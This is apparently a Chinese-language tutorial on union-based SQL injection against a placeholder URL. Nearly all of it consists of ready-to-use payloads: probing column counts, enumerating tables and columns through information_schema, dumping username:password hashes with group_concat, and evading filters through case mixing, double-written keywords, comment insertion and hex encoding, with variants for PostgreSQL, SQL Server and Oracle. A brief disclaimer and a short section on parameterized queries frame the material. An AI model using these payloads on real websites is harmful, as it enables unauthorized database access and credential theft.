前置知识

本文假设以下场景:

  • 注入点http://example.com/page?id=1
  • 已确认列数:3列(通过ORDER BY探测)
  • 回显位置:第2列(页面显示数字2的位置)

⚠️ 免责声明:本文仅用于安全学习和防御研究,请勿用于非法用途。


第一阶段:信息探测

1. 探测列数(ORDER BY法)

-- 原理:ORDER BY 数字 按第几列排序,数字超过列数会报错
-- 使用二分法探测

-- 测试第3列是否存在
id=1 ORDER BY 3 -- -
-- 正常响应 → 列数 ≥ 3

-- 测试第4列是否存在  
id=1 ORDER BY 4 -- -
-- 报错响应 → 列数 = 3

2. 确定回显位置

-- 使用UNION SELECT,让原查询返回空(如id=-1)
-- 数字1,2,3是占位符,用于观察页面回显位置

id=-1 UNION SELECT 1,2,3 -- -
-- 页面显示 "2" → 第2列会被输出
-- 后续攻击就在第2列的位置注入恶意代码

3. 获取当前数据库名

-- database()函数返回当前使用的数据库名

id=-1 UNION SELECT 1, database(), 3 -- -
-- 返回示例:myblog_db

第二阶段:获取表结构

4. 获取所有表名

-- information_schema.tables:MySQL系统表
-- group_concat():将多行合并成一行(绕过UNION单行限制)

id=-1 UNION SELECT 1, group_concat(table_name), 3 
FROM information_schema.tables 
WHERE table_schema = database() -- -
-- 返回示例:users,products,admin,orders

为什么必须用group_concat?

不使用group_concat 使用group_concat
返回多行数据 返回单行合并数据
页面只显示第一行 页面显示所有表名
只能看到users 看到所有表

5. 获取指定表的列名

-- information_schema.columns:存储所有列信息

-- 基础版(表名用引号)
id=-1 UNION SELECT 1, group_concat(column_name), 3 
FROM information_schema.columns 
WHERE table_name = 'users' -- -

-- 十六进制绕过(引号被过滤时使用)
-- 'users' 的十六进制:0x7573657273
id=-1 UNION SELECT 1, group_concat(column_name), 3 
FROM information_schema.columns 
WHERE table_name = 0x7573657273 -- -

-- 返回示例:id,username,password,email,role

第三阶段:提取数据

6. 提取表中所有数据

-- 基础版:合并所有记录
id=-1 UNION SELECT 1, group_concat(username, ':', password SEPARATOR ' | '), 3 
FROM users -- -
-- 返回:admin:e10adc3... | john:25d55ad... | test:098f6bc...

-- 格式化版:每条记录换行显示(0x0a是换行符)
id=-1 UNION SELECT 1, group_concat(username, ':', password SEPARATOR 0x0a), 3 
FROM users -- -

-- 多列提取版
id=-1 UNION SELECT 1, group_concat(id, '|', username, '|', email SEPARATOR ' === '), 3 
FROM users -- -

7. 带条件的数据提取

-- 只查特定用户
id=-1 UNION SELECT 1, group_concat(username, ':', password), 3 
FROM users 
WHERE username = 'admin' -- -

-- 分页查询(绕过group_concat长度限制)
id=-1 UNION SELECT 1, group_concat(username, ':', password SEPARATOR ' | '), 3 
FROM users 
LIMIT 0,3 -- -  -- 第1页

id=-1 UNION SELECT 1, group_concat(username, ':', password SEPARATOR ' | '), 3 
FROM users 
LIMIT 3,3 -- -  -- 第2页

第四阶段:高级技巧

8. 不使用group_concat的逐条提取

-- 场景:group_concat被过滤或结果太长
-- 原理:用LIMIT一次只取一条

id=-1 UNION SELECT 1, username, 3 FROM users LIMIT 0,1 -- -  -- 第1条
id=-1 UNION SELECT 1, username, 3 FROM users LIMIT 1,1 -- -  -- 第2条
id=-1 UNION SELECT 1, username, 3 FROM users LIMIT 2,1 -- -  -- 第3条

9. 自定义分隔符

-- 避免逗号与数据混淆
id=-1 UNION SELECT 1, group_concat(table_name SEPARATOR ' | '), 3 
FROM information_schema.tables 
WHERE table_schema = database() -- -
-- 返回:users | products | admin | orders

-- 使用易解析的分隔符
id=-1 UNION SELECT 1, group_concat(table_name SEPARATOR '<!--sep-->'), 3 
FROM information_schema.tables 
WHERE table_schema = database() -- -

10. 注释符绕过空格过滤

-- 空格被过滤时使用注释/**/代替空格
id=-1/**/UNION/**/SELECT/**/1,group_concat(table_name),3/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()-- -

-- URL编码版本(%20=空格,%23=#)
id=-1%20UNION%20SELECT%201,database(),3%20--%20-

其他数据库语法对照

PostgreSQL

-- 查表名(string_agg替代group_concat)
id=-1 UNION SELECT 1, string_agg(table_name, ','), 3 
FROM information_schema.tables 
WHERE table_schema = current_database() -- -

-- 查数据(||拼接字符串)
id=-1 UNION SELECT 1, string_agg(username || ':' || password, ' | '), 3 
FROM users -- -

SQL Server (2017+)

-- 查表名
id=-1 UNION SELECT 1, STRING_AGG(table_name, ','), 3 
FROM information_schema.tables 
WHERE table_type = 'BASE TABLE' -- -

-- 查数据
id=-1 UNION SELECT 1, STRING_AGG(CONCAT(username, ':', password), ' | '), 3 
FROM users -- -

SQL Server (旧版)

-- 使用FOR XML PATH拼接
id=-1 UNION SELECT 1, 
STUFF((SELECT ',' + table_name FROM information_schema.tables FOR XML PATH('')),1,1,''), 3

Oracle

-- 查表名(注意:Oracle表名默认大写)
id=-1 UNION SELECT 1, LISTAGG(table_name, ',') WITHIN GROUP (ORDER BY table_name), 3 
FROM all_tables 
WHERE owner = user -- -

常见问题与解决方案

问题1:数据被截断

现象:只显示部分数据(末尾不完整)

原因group_concat_max_len 默认1024字符

解决方案

-- 方案A:分批查询
id=-1 UNION SELECT 1, group_concat(username, ':', password), 3 
FROM users LIMIT 0,3 -- -

-- 方案B:修改session变量(需要较高权限)
id=-1; SET SESSION group_concat_max_len = 1000000; 
UNION SELECT 1, group_concat(username, ':', password), 3 FROM users -- -

问题2:关键字被过滤

解决方案

-- 大小写绕过
Id=-1 UnIoN SeLeCt 1,database(),3 -- -

-- 双写绕过
id=-1 UNIUNIONON SELECT 1,database(),3 -- -

-- 注释插入绕过
id=-1 UN/**/ION SEL/**/ECT 1,database(),3 -- -

-- 十六进制编码(关键字符串)
-- "SELECT" 可用 CHAR(83,69,76,69,67,84) 表示

问题3:引号被过滤

-- 使用十六进制表示字符串
-- 'users' → 0x7573657273
WHERE table_name = 0x7573657273

-- 使用CHAR()函数
WHERE table_name = CHAR(117,115,101,114,115)

完整攻击链示例

-- Step 1: 探测列数
id=1 ORDER BY 3 -- -   (正常)
id=1 ORDER BY 4 -- -   (报错 → 列数=3)

-- Step 2: 确定回显位
id=-1 UNION SELECT 1,2,3 -- -   (页面显示2 → 第2列可回显)

-- Step 3: 查数据库名
id=-1 UNION SELECT 1, database(), 3 -- -
-- 返回:myblog

-- Step 4: 查所有表名
id=-1 UNION SELECT 1, group_concat(table_name), 3 
FROM information_schema.tables WHERE table_schema = database() -- -
-- 返回:users,posts,admin

-- Step 5: 查admin表的列名
id=-1 UNION SELECT 1, group_concat(column_name), 3 
FROM information_schema.columns WHERE table_name = 'admin' -- -
-- 返回:id,username,password

-- Step 6: 提取数据
id=-1 UNION SELECT 1, group_concat(username, ':', password SEPARATOR ' | '), 3 
FROM admin -- -
-- 返回:admin:5f4dcc3b5aa765d61d8327deb882cf99 | root:25d55ad283aa400af464c76d713c07ad

速查表

目的 核心SQL片段
查数据库名 database()
查所有表名 group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()
查列名 group_concat(column_name) FROM information_schema.columns WHERE table_name='表名'
查数据 group_concat(列1,':',列2) FROM 表名
十六进制编码 0x7573657273 (users)
注释代替空格 /**/
换行符 0x0a
SQL注释 -- -#

防御措施(开发者必读)

// ✅ 正确做法:参数化查询(Prepared Statements)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

// ❌ 错误做法:字符串拼接(可被注入)
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];

// 其他防御措施:
// 1. 最小权限原则:Web数据库账号不应有访问information_schema的权限
// 2. WAF规则:拦截 group_concat、information_schema 等关键字
// 3. 错误处理:不向客户端返回详细数据库错误信息

推荐练习靶场